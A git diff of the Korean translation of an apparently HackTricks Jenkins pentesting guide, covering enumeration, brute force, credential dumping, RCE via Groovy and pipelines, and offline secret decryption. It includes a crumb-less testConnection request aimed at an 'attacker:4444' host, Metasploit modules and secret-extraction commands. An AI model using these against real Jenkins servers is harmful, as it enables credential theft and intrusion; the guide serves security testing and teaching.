mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-ci-cd/jenkins-security/README.md', 'src/
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
|
||||
## 기본 정보
|
||||
|
||||
Jenkins는 파이프라인을 사용하여 거의 **모든** 조합의 **프로그래밍 언어** 및 소스 코드 리포지토리에 대한 **지속적인 통합** 또는 **지속적인 배포** (CI/CD) 환경을 설정하는 간단한 방법을 제공하는 도구입니다. 또한 다양한 일상적인 개발 작업을 자동화합니다. Jenkins는 **개별 단계에 대한 스크립트를 작성할 필요성**을 없애지는 않지만, 수동으로 쉽게 구성할 수 있는 것보다 빌드, 테스트 및 배포 도구의 전체 시퀀스를 통합하는 더 빠르고 강력한 방법을 제공합니다.
|
||||
Jenkins는 파이프라인을 사용해 거의 모든 조합의 **programming languages**와 소스 코드 저장소에 대해 **continuous integration** 또는 **continuous delivery** (CI/CD) 환경을 간단하게 구축할 수 있는 도구입니다. 또한 다양한 반복적인 개발 작업을 자동화합니다. Jenkins가 개별 단계에 대한 스크립트 작성의 **필요성**을 없애지는 않지만, 빌드·테스트·배포 도구의 전체 흐름을 수동으로 구성하는 것보다 훨씬 빠르고 견고하게 통합할 수 있는 방법을 제공합니다.
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
@@ -12,17 +12,17 @@ basic-jenkins-information.md
|
||||
|
||||
## 인증되지 않은 열거
|
||||
|
||||
인증 없이 흥미로운 Jenkins 페이지를 검색하려면 (_/people_ 또는 _/asynchPeople_와 같이 현재 사용자를 나열하는 페이지) 다음을 사용할 수 있습니다:
|
||||
인증 없이 (_/people_ 또는 _/asynchPeople_, 현재 사용자를 나열합니다) 같은 흥미로운 Jenkins 페이지를 찾으려면 다음을 사용할 수 있습니다:
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_enum
|
||||
```
|
||||
인증 없이 명령을 실행할 수 있는지 확인하십시오:
|
||||
인증 없이 명령을 실행할 수 있는지 확인하세요:
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_command
|
||||
```
|
||||
자격 증명이 없으면 _**/asynchPeople/**_ 경로 또는 _**/securityRealm/user/admin/search/index?q=**_에서 **사용자 이름**을 확인할 수 있습니다.
|
||||
자격증명 없이 _**/asynchPeople/**_ 경로 또는 _**/securityRealm/user/admin/search/index?q=**_에서 **사용자 이름**을 확인할 수 있습니다.
|
||||
|
||||
경로 _**/oops**_ 또는 _**/error**_에서 Jenkins 버전을 확인할 수 있을 것입니다.
|
||||
Jenkins 버전은 _**/oops**_ 또는 _**/error**_ 경로에서 확인할 수 있습니다.
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -34,7 +34,7 @@ https://github.com/gquere/pwn_jenkins
|
||||
|
||||
## 로그인
|
||||
|
||||
기본 정보에서 **Jenkins에 로그인하는 모든 방법**을 확인할 수 있습니다:
|
||||
기본 정보에서 **Jenkins에 로그인할 수 있는 모든 방법**을 확인할 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
@@ -42,124 +42,140 @@ basic-jenkins-information.md
|
||||
|
||||
### 등록
|
||||
|
||||
계정을 생성하고 로그인할 수 있는 Jenkins 인스턴스를 찾을 수 있습니다. **그것만큼 간단합니다.**
|
||||
Jenkins 인스턴스 중에는 **계정을 생성하고 내부에 로그인하는 것을 허용하는 것**을 찾을 수 있습니다. 정말 단순합니다.
|
||||
|
||||
### **SSO 로그인**
|
||||
|
||||
또한 **SSO** **기능**/**플러그인**이 존재한다면 테스트 계정(예: 테스트 **Github/Bitbucket 계정**)을 사용하여 애플리케이션에 **로그인**을 시도해야 합니다. [**여기**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/)에서 팁을 얻으세요.
|
||||
또한 **SSO** **functionality**/**plugins**가 존재하는 경우 테스트 계정(예: 테스트 **Github/Bitbucket account**)을 사용해 애플리케이션에 **로그인**해 보아야 합니다. Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
|
||||
### 브루트포스
|
||||
### Bruteforce
|
||||
|
||||
**Jenkins**는 **비밀번호 정책**과 **사용자 이름 브루트포스 완화**가 부족합니다. **약한 비밀번호** 또는 **비밀번호로서의 사용자 이름**이 사용될 수 있으므로 **사용자**를 **브루트포스**하는 것이 필수적입니다. 심지어 **역순 사용자 이름을 비밀번호로 사용하는 경우**도 있습니다.
|
||||
**Jenkins**는 **password policy**와 **username brute-force mitigation**이 없습니다. 사용자에 대해 **brute-force**를 수행하는 것이 필수적입니다. **weak passwords**나 **usernames as passwords**가 사용 중일 수 있고, 심지어 **reversed usernames as passwords**가 사용될 수도 있습니다.
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_login
|
||||
```
|
||||
### 비밀번호 스프레이
|
||||
### Password spraying
|
||||
|
||||
Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
|
||||
다음 스크립트를 사용하세요: [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) 또는 [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
|
||||
|
||||
### IP 화이트리스트 우회
|
||||
### IP Whitelisting Bypass
|
||||
|
||||
많은 조직이 **SaaS 기반 소스 제어 관리(SCM) 시스템**인 GitHub 또는 GitLab을 **내부, 자체 호스팅 CI** 솔루션인 Jenkins 또는 TeamCity와 결합합니다. 이 설정은 CI 시스템이 **SaaS 소스 제어 공급업체**로부터 **웹훅 이벤트**를 수신할 수 있게 하여 파이프라인 작업을 트리거할 수 있도록 합니다.
|
||||
많은 조직은 GitHub 또는 GitLab과 같은 **SaaS-based source control management (SCM) systems**을 Jenkins나 TeamCity 같은 **internal, self-hosted CI** 솔루션과 결합합니다. 이 구성은 CI 시스템이 주로 파이프라인 작업을 트리거하기 위해 **receive webhook events from SaaS source control vendors** 할 수 있도록 합니다.
|
||||
|
||||
이를 달성하기 위해 조직은 **SCM 플랫폼**의 **IP 범위**를 **화이트리스트**하여 **웹훅**을 통해 **내부 CI 시스템**에 접근할 수 있도록 허용합니다. 그러나 **누구나** GitHub 또는 GitLab에 **계정**을 생성하고 이를 **웹훅을 트리거**하도록 구성할 수 있다는 점에 유의해야 합니다. 이는 **내부 CI 시스템**에 요청을 보낼 수 있습니다.
|
||||
이를 위해 조직은 **whitelist**하여 **SCM platforms**의 **IP ranges**를 허용하고, **webhooks**를 통해 **internal CI system**에 접근할 수 있도록 합니다. 그러나 **anyone**이 GitHub 또는 GitLab에 **account**를 생성하고 **trigger a webhook**로 구성해 **internal CI system**에 요청을 보낼 수 있다는 점을 주의해야 합니다.
|
||||
|
||||
Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
|
||||
자세히 보기: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
|
||||
|
||||
## 내부 Jenkins 남용
|
||||
## Internal Jenkins Abuses
|
||||
|
||||
이 시나리오에서는 Jenkins에 접근할 수 있는 유효한 계정이 있다고 가정합니다.
|
||||
이러한 시나리오에서는 Jenkins에 접근할 수 있는 유효한 계정을 보유하고 있다고 가정합니다.
|
||||
|
||||
> [!WARNING]
|
||||
> Jenkins에 구성된 **인증** 메커니즘과 손상된 사용자의 권한에 따라 **다음 공격을 수행할 수 있을 수도 있고, 아닐 수도 있습니다.**
|
||||
> Jenkins에 구성된 **Authorization** 메커니즘과 침해된 사용자의 권한에 따라 다음 공격들을 **수행할 수 있을 수도 있고 없을 수도 있습니다.**
|
||||
|
||||
자세한 정보는 기본 정보를 확인하세요:
|
||||
For more information check the basic information:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
### 사용자 목록 나열
|
||||
### Listing users
|
||||
|
||||
Jenkins에 접근했다면 [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)에서 다른 등록된 사용자를 나열할 수 있습니다.
|
||||
Jenkins에 접근한 상태라면 [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)에서 다른 등록된 사용자를 나열할 수 있습니다.
|
||||
|
||||
### 평문 비밀 찾기를 위한 빌드 덤프
|
||||
### Dumping builds to find cleartext secrets
|
||||
|
||||
Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
|
||||
[this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py)을 사용하여 build console outputs와 build environment variables를 덤프해 cleartext secrets를 찾아보세요.
|
||||
```bash
|
||||
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
|
||||
cd build_dumps
|
||||
gitleaks detect --no-git -v
|
||||
```
|
||||
### **SSH 자격 증명 탈취**
|
||||
### FormValidation/TestConnection 엔드포인트 (CSRF to SSRF/credential theft)
|
||||
|
||||
타협된 사용자가 **새 Jenkins 노드를 생성/수정할 수 있는 충분한 권한**을 가지고 있고 SSH 자격 증명이 다른 노드에 접근하기 위해 이미 저장되어 있다면, 그는 **노드를 생성/수정하고 자격 증명을 기록할 호스트를 설정하여** 그 자격 증명을 **탈취할 수 있습니다**. 호스트 키를 검증하지 않고:
|
||||
일부 플러그인은 Jelly의 `validateButton` 또는 `test connection` 핸들러를 `/descriptorByName/<Class>/testConnection` 같은 경로에 노출합니다. 핸들러가 **POST나 권한 검사를 강제하지 않을 때**, 다음을 할 수 있습니다:
|
||||
|
||||
- POST를 GET으로 바꾸고 Crumb를 제거해 CSRF 검사를 우회합니다.
|
||||
- `Jenkins.ADMINISTER` 체크가 없다면 low-priv/anonymous로 핸들러를 트리거할 수 있습니다.
|
||||
- 관리자를 CSRF하고 host/URL parameter를 교체해 exfiltrate credentials하거나 outbound 호출을 트리거할 수 있습니다.
|
||||
- 응답 에러(예: `ConnectException`)를 SSRF/port-scan 오라클로 사용합니다.
|
||||
|
||||
예시 GET (Crumb 없음): validation 호출을 SSRF/credential exfiltration으로 전환:
|
||||
```http
|
||||
GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
|
||||
Host: jenkins.local:8080
|
||||
```
|
||||
If the plugin reuses stored creds, Jenkins will attempt to authenticate to `attacker:4444` and may leak identifiers or errors in the response. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/
|
||||
|
||||
### **Stealing SSH Credentials**
|
||||
|
||||
만약 권한이 탈취된 사용자가 **enough privileges to create/modify a new Jenkins node**를 가지고 있고 SSH credentials가 다른 노드에 접근하기 위해 이미 저장되어 있다면, 노드를 생성/수정하고 **setting a host that will record the credentials**를 통해 호스트 키를 검증하지 않고 **steal those credentials**할 수 있습니다:
|
||||
|
||||
.png>)
|
||||
|
||||
Jenkins SSH 자격 증명은 일반적으로 **전역 제공자**(`/credentials/`)에 있으므로, 다른 비밀을 덤프하는 것처럼 그들을 덤프할 수 있습니다. 더 많은 정보는 [**비밀 덤프 섹션**](./#dumping-secrets)에서 확인하세요.
|
||||
Jenkins SSH credentials는 보통 **global provider** (`/credentials/`)에서 찾을 수 있으므로, 다른 비밀을 덤프하듯이 해당 credentials도 덤프할 수 있습니다. 자세한 내용은 [**Dumping secrets section**](#dumping-secrets)를 참고하세요.
|
||||
|
||||
### **Jenkins에서의 RCE**
|
||||
### **RCE in Jenkins**
|
||||
|
||||
**Jenkins 서버에서 셸을 얻는 것**은 공격자에게 모든 **비밀**과 **환경 변수**를 유출하고, 동일한 네트워크에 위치한 **다른 머신을 악용**하거나 **클라우드 자격 증명**을 **수집할 수 있는 기회**를 제공합니다.
|
||||
Jenkins 서버에서 **shell in the Jenkins server**를 얻으면 공격자는 모든 **secrets**와 **env variables**를 leak하고 동일 네트워크에 있는 다른 시스템을 **exploit other machines**하거나 심지어 **gather cloud credentials**할 수 있는 기회를 갖게 됩니다.
|
||||
|
||||
기본적으로 Jenkins는 **SYSTEM으로 실행**됩니다. 따라서 이를 타협하면 공격자는 **SYSTEM 권한**을 얻게 됩니다.
|
||||
기본적으로 Jenkins는 **run as SYSTEM**됩니다. 따라서 이를 탈취하면 공격자는 **SYSTEM privileges**를 획득합니다.
|
||||
|
||||
### **프로젝트 생성/수정으로 RCE 얻기**
|
||||
### **RCE Creating/Modifying a project**
|
||||
|
||||
프로젝트를 생성/수정하는 것은 Jenkins 서버에서 RCE를 얻는 방법입니다:
|
||||
프로젝트를 생성/수정하는 것은 Jenkins 서버에서 RCE를 얻는 방법 중 하나입니다:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-creating-modifying-project.md
|
||||
{{#endref}}
|
||||
|
||||
### **Groovy 스크립트 실행으로 RCE 얻기**
|
||||
### **RCE Execute Groovy script**
|
||||
|
||||
Groovy 스크립트를 실행하여 RCE를 얻을 수도 있으며, 이는 새 프로젝트를 생성하는 것보다 더 은밀할 수 있습니다:
|
||||
Groovy 스크립트를 실행하여 RCE를 얻을 수도 있으며, 이는 새 프로젝트를 만드는 것보다 더 은밀할 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-with-groovy-script.md
|
||||
{{#endref}}
|
||||
|
||||
### 파이프라인 생성/수정으로 RCE 얻기
|
||||
### RCE Creating/Modifying Pipeline
|
||||
|
||||
**파이프라인을 생성/수정하여 RCE를 얻을 수도 있습니다**:
|
||||
파이프라인을 생성/수정하여 **RCE by creating/modifying a pipeline**를 얻을 수도 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-creating-modifying-pipeline.md
|
||||
{{#endref}}
|
||||
|
||||
## 파이프라인 악용
|
||||
## Pipeline Exploitation
|
||||
|
||||
파이프라인을 악용하려면 여전히 Jenkins에 접근할 수 있어야 합니다.
|
||||
파이프라인을 exploit하려면 여전히 Jenkins에 대한 접근 권한이 필요합니다.
|
||||
|
||||
### 빌드 파이프라인
|
||||
### Build Pipelines
|
||||
|
||||
**파이프라인**은 **프로젝트의 빌드 메커니즘**으로도 사용될 수 있으며, 이 경우 **저장소 내의 파일**이 파이프라인 구문을 포함하도록 구성될 수 있습니다. 기본적으로 `/Jenkinsfile`이 사용됩니다:
|
||||
**Pipelines**는 프로젝트의 **build mechanism in projects**로도 사용될 수 있으며, 이 경우 리포지토리 내부의 **file inside the repository**에 pipeline 문법을 포함하도록 구성할 수 있습니다. 기본적으로 `/Jenkinsfile`이 사용됩니다:
|
||||
|
||||
.png>)
|
||||
|
||||
또한 **다른 위치에 파이프라인 구성 파일을 저장**하는 것도 가능하며(예: 다른 저장소) 이는 **저장소 접근**과 **파이프라인 접근**을 **분리하기 위한 목적**입니다.
|
||||
파이프라인 구성 파일을 다른 곳(예: 다른 리포지토리)에 **store pipeline configuration files in other places**하여 리포지토리 접근(repository access)과 파이프라인 접근(pipeline access)을 **separating**할 수도 있습니다.
|
||||
|
||||
공격자가 **해당 파일에 대한 쓰기 권한**을 가지고 있다면, 그는 이를 **수정**하고 **Jenkins에 접근하지 않고도** 파이프라인을 **트리거할 수 있습니다**.\
|
||||
공격자가 **일부 브랜치 보호를 우회해야 할 수도 있습니다**(플랫폼과 사용자 권한에 따라 우회할 수 있을 수도 있고 아닐 수도 있습니다).
|
||||
공격자가 해당 파일에 대한 **write access over that file**를 가지고 있다면, 이를 **modify**하고 Jenkins에 대한 접근 권한 없이도 파이프라인을 **potentially trigger**할 수 있습니다.\
|
||||
플랫폼과 사용자 권한에 따라 공격자가 일부 **bypass some branch protections**를 해야 할 수도 있습니다(우회 가능 여부는 환경에 따라 다릅니다).
|
||||
|
||||
사용자 정의 파이프라인을 실행하기 위한 가장 일반적인 트리거는 다음과 같습니다:
|
||||
The most common triggers to execute a custom pipeline are:
|
||||
|
||||
- **주 브랜치에 대한 풀 요청**(또는 다른 브랜치에 대한 가능성)
|
||||
- **주 브랜치에 푸시**(또는 다른 브랜치에 대한 가능성)
|
||||
- **주 브랜치를 업데이트**하고 실행될 때까지 기다리기
|
||||
- **Pull request** to the main branch (or potentially to other branches)
|
||||
- **Push to the main branch** (or potentially to other branches)
|
||||
- **Update the main branch** and wait until it's executed somehow
|
||||
|
||||
> [!NOTE]
|
||||
> **외부 사용자**인 경우, **다른 사용자/조직의 저장소의 주 브랜치에 PR을 생성**하고 **파이프라인을 트리거**할 것으로 기대해서는 안 됩니다... 하지만 **잘못 구성된 경우** 이를 악용하여 회사를 **완전히 타협할 수 있습니다**.
|
||||
> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
|
||||
|
||||
### 파이프라인 RCE
|
||||
### Pipeline RCE
|
||||
|
||||
이전 RCE 섹션에서는 [**파이프라인을 수정하여 RCE를 얻는 기술**](./#rce-creating-modifying-pipeline)이 이미 언급되었습니다.
|
||||
In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](#rce-creating-modifying-pipeline).
|
||||
|
||||
### 환경 변수 확인
|
||||
### Checking Env variables
|
||||
|
||||
**전체 파이프라인 또는 특정 단계에 대해 일반 텍스트 환경 변수를 선언**하는 것이 가능합니다. 이 환경 변수는 **민감한 정보를 포함해서는 안 되지만**, 공격자는 항상 **모든 파이프라인** 구성/Jenkinsfile을 **확인할 수 있습니다**:
|
||||
파이프라인 전체 또는 특정 스테이지에 대해 **clear text env variables**를 선언할 수 있습니다. 이 env variables **shouldn't contain sensitive info**이지만, 공격자는 언제든지 모든 파이프라인 구성/Jenkinsfiles를 **check all the pipeline**할 수 있습니다:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
@@ -174,21 +190,21 @@ STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
```
|
||||
### 비밀 덤프
|
||||
### Dumping secrets
|
||||
|
||||
Jenkins에서 비밀이 일반적으로 어떻게 처리되는지에 대한 정보는 기본 정보를 확인하세요:
|
||||
Jenkins에서 secrets가 일반적으로 어떻게 취급되는지에 대한 정보는 다음 기본 정보를 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
자격 증명은 **전역 제공자**(`/credentials/`) 또는 **특정 프로젝트**(`/job/<project-name>/configure`)에 **범위가 지정**될 수 있습니다. 따라서 모든 비밀을 유출하려면 **비밀이 포함된 모든 프로젝트를 최소한 타협**해야 하며, 사용자 정의/오염된 파이프라인을 실행해야 합니다.
|
||||
Credentials는 **scoped to global providers** (`/credentials/`) 또는 **specific projects** (`/job/<project-name>/configure`)로 설정될 수 있습니다. 따라서, 모든 credentials를 exfiltrate하려면 secrets를 포함한 모든 프로젝트를 최소한으로 compromise하고 custom/poisoned pipelines를 실행해야 합니다.
|
||||
|
||||
또 다른 문제는 파이프라인의 **env** 내에서 **비밀을 얻으려면** **비밀의 이름과 유형을 알아야 한다는** 것입니다. 예를 들어, **`string`** **비밀**로 **`usernamePassword`** **비밀**을 **로드**하려고 하면 이 **오류**가 발생합니다:
|
||||
또 다른 문제는, pipeline의 **env 안의 secret**을 얻기 위해서는 그 secret의 **이름과 타입을 알아야** 한다는 점입니다. 예를 들어, `usernamePassword` **secret을** **`string`** **secret으로 로드하려고** 하면 다음과 같은 **error**가 발생합니다:
|
||||
```
|
||||
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
|
||||
```
|
||||
여기 일반적인 비밀 유형을 로드하는 방법이 있습니다:
|
||||
여기 몇 가지 일반적인 secret 유형을 로드하는 방법이 있습니다:
|
||||
```bash
|
||||
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
|
||||
sh '''
|
||||
@@ -216,46 +232,46 @@ env
|
||||
'''
|
||||
}
|
||||
```
|
||||
이 페이지의 끝에서 **모든 자격 증명 유형**을 **찾을 수 있습니다**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
|
||||
이 페이지 하단에서 **모든 자격 증명 유형을 확인할 수 있습니다**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
|
||||
|
||||
> [!WARNING]
|
||||
> **모든 비밀을 한 번에 덤프하는** 가장 좋은 방법은 **Jenkins** 머신을 **타협하는** 것입니다 (예를 들어 **내장 노드**에서 리버스 셸을 실행) 그리고 **마스터 키**와 **암호화된 비밀**을 **유출**한 후 오프라인에서 복호화하는 것입니다.\
|
||||
> 이를 수행하는 방법에 대한 자세한 내용은 [Nodes & Agents section](./#nodes-and-agents) 및 [Post Exploitation section](./#post-exploitation)에서 확인할 수 있습니다.
|
||||
> **dump all the secrets at once**하는 가장 좋은 방법은 **compromising** **Jenkins** 머신(예: **built-in node**에서 reverse shell을 실행) 후 **leaking** **master keys**와 **encrypted secrets**를 획득하여 오프라인에서 decrypt하는 것입니다.\
|
||||
> 이 작업에 대한 자세한 내용은 [Nodes & Agents section](#nodes-and-agents) 및 [Post Exploitation section](#post-exploitation)을 참조하세요.
|
||||
|
||||
### 트리거
|
||||
### Triggers
|
||||
|
||||
[문서](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers)에서: `triggers` 지시문은 **파이프라인이 자동으로 다시 트리거되는 방법**을 정의합니다. GitHub 또는 BitBucket과 같은 소스와 통합된 파이프라인의 경우, 웹훅 기반 통합이 이미 존재할 가능성이 있으므로 `triggers`가 필요하지 않을 수 있습니다. 현재 사용 가능한 트리거는 `cron`, `pollSCM` 및 `upstream`입니다.
|
||||
From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`.
|
||||
|
||||
Cron 예:
|
||||
Cron example:
|
||||
```bash
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
```
|
||||
다른 예제는 **문서에서 확인하세요**.
|
||||
문서에서 **다른 예제들도 확인하세요**.
|
||||
|
||||
### 노드 및 에이전트
|
||||
|
||||
**Jenkins 인스턴스**는 **다른 머신에서 실행되는 다양한 에이전트**를 가질 수 있습니다. 공격자의 관점에서 볼 때, 다양한 머신에 대한 접근은 **다양한 잠재적 클라우드 자격 증명**을 훔치거나 **다른 머신을 악용할 수 있는 다양한 네트워크 접근**을 의미합니다.
|
||||
A **Jenkins instance**는 서로 다른 머신에서 실행되는 여러 에이전트를 가질 수 있습니다. 공격자 관점에서 서로 다른 머신에 대한 접근은 훔칠 수 있는 **different potential cloud credentials**나 다른 머신을 악용해 공격할 수 있는 **different network access**를 의미합니다.
|
||||
|
||||
자세한 정보는 기본 정보를 확인하세요:
|
||||
자세한 내용은 기본 정보를 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
`/computer/`에서 **구성된 노드**를 나열할 수 있으며, 보통 **`Built-In Node`** (Jenkins를 실행하는 노드)를 찾을 수 있고, 잠재적으로 더 많은 노드를 찾을 수 있습니다:
|
||||
구성된 노드는 `/computer/`에서 열거할 수 있으며, 보통 Jenkins를 실행하는 노드인 **`Built-In Node`**를 포함해 추가 노드를 찾을 수 있습니다:
|
||||
|
||||
.png>)
|
||||
|
||||
**Built-In 노드를 타겟으로 하는 것이 특히 흥미롭습니다**. 왜냐하면 이 노드는 민감한 Jenkins 정보를 포함하고 있기 때문입니다.
|
||||
민감한 Jenkins 정보를 포함하고 있기 때문에 **특히 Built-In node를 탈취하는 것이 흥미롭습니다**.
|
||||
|
||||
**내장 Jenkins 노드**에서 **파이프라인**을 **실행**하고 싶다는 것을 나타내기 위해, 파이프라인 내에서 다음 구성을 지정할 수 있습니다:
|
||||
파이프라인 내에서 다음 설정을 지정하면 **run** the **pipeline** in the **built-in Jenkins node**하도록 할 수 있습니다:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
```
|
||||
### 전체 예제
|
||||
### 완전한 예제
|
||||
|
||||
특정 에이전트에서의 파이프라인, 크론 트리거와 함께, 파이프라인 및 단계 환경 변수, 단계에서 2개의 변수를 로드하고 리버스 셸을 전송하는 예:
|
||||
특정 agent에서 실행되는 Pipeline으로, cron trigger가 있고, pipeline 및 stage env variables를 사용하며, step에서 2개의 변수를 로드하고 reverse shell을 전송합니다:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
@@ -286,7 +302,7 @@ cleanWs()
|
||||
}
|
||||
}
|
||||
```
|
||||
## 임의 파일 읽기를 통한 RCE
|
||||
## Arbitrary File Read to RCE
|
||||
|
||||
{{#ref}}
|
||||
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
|
||||
@@ -306,17 +322,17 @@ jenkins-rce-creating-modifying-project.md
|
||||
jenkins-rce-creating-modifying-pipeline.md
|
||||
{{#endref}}
|
||||
|
||||
## 포스트 익스플로잇
|
||||
## Post Exploitation
|
||||
|
||||
### 메타스플로잇
|
||||
### Metasploit
|
||||
```
|
||||
msf> post/multi/gather/jenkins_gather
|
||||
```
|
||||
### Jenkins Secrets
|
||||
|
||||
당신은 충분한 권한이 있다면 `/credentials/`에 접근하여 비밀을 나열할 수 있습니다. 이는 `credentials.xml` 파일 내의 비밀만 나열하지만, **빌드 구성 파일**에도 **더 많은 자격 증명**이 있을 수 있습니다.
|
||||
권한이 충분하면 `/credentials/`에 접근해서 secrets를 나열할 수 있습니다. 이 작업은 `credentials.xml` 파일 내부의 secrets만 나열한다는 점을 유의하세요. 하지만 **빌드 구성 파일**에는 **더 많은 credentials**가 포함되어 있을 수 있습니다.
|
||||
|
||||
만약 당신이 **각 프로젝트의 구성을 볼 수 있다면**, 저장소에 접근하기 위해 사용되는 **자격 증명(비밀)**의 이름과 **프로젝트의 다른 자격 증명**도 볼 수 있습니다.
|
||||
각 프로젝트의 구성을 **볼 수 있다면**, 거기에서 저장소에 접근하는 데 사용되는 **credentials (secrets)의 이름**과 **프로젝트의 다른 credentials**도 확인할 수 있습니다.
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -326,20 +342,20 @@ msf> post/multi/gather/jenkins_gather
|
||||
jenkins-dumping-secrets-from-groovy.md
|
||||
{{#endref}}
|
||||
|
||||
#### From disk
|
||||
#### 디스크에서
|
||||
|
||||
이 파일들은 **Jenkins 비밀을 복호화하는 데 필요합니다**:
|
||||
다음 파일들은 **Jenkins secrets를 복호화**하는 데 필요합니다:
|
||||
|
||||
- secrets/master.key
|
||||
- secrets/hudson.util.Secret
|
||||
|
||||
이러한 **비밀은 일반적으로 다음에서 찾을 수 있습니다**:
|
||||
이런 **secrets는 보통 다음 파일들에서 발견됩니다**:
|
||||
|
||||
- credentials.xml
|
||||
- jobs/.../build.xml
|
||||
- jobs/.../config.xml
|
||||
|
||||
다음은 이를 찾기 위한 정규 표현식입니다:
|
||||
다음을 찾기 위한 regex:
|
||||
```bash
|
||||
# Find the secrets
|
||||
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
|
||||
@@ -349,9 +365,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
|
||||
# Secret example
|
||||
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
|
||||
```
|
||||
#### Jenkins 비밀을 오프라인으로 복호화하기
|
||||
#### Decrypt Jenkins secrets offline
|
||||
|
||||
**비밀을 복호화하는 데 필요한 비밀번호를 덤프한 경우**, **이 스크립트**를 사용하여 **그 비밀을 복호화하세요**.
|
||||
만약 **needed passwords to decrypt the secrets**를 덤프했다면, [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**를 사용하세요.
|
||||
```bash
|
||||
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
06165DF2-C047-4402-8CAB-1C8EC526C115
|
||||
@@ -359,17 +375,17 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
|
||||
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
|
||||
```
|
||||
#### Groovy에서 Jenkins 비밀 해독하기
|
||||
#### Groovy에서 Jenkins secrets 복호화
|
||||
```bash
|
||||
println(hudson.util.Secret.decrypt("{...}"))
|
||||
```
|
||||
### 새 관리자 사용자 만들기
|
||||
|
||||
1. `/var/lib/jenkins/config.xml` 또는 `C:\Program Files (x86)\Jenkis\`에서 Jenkins config.xml 파일에 접근합니다.
|
||||
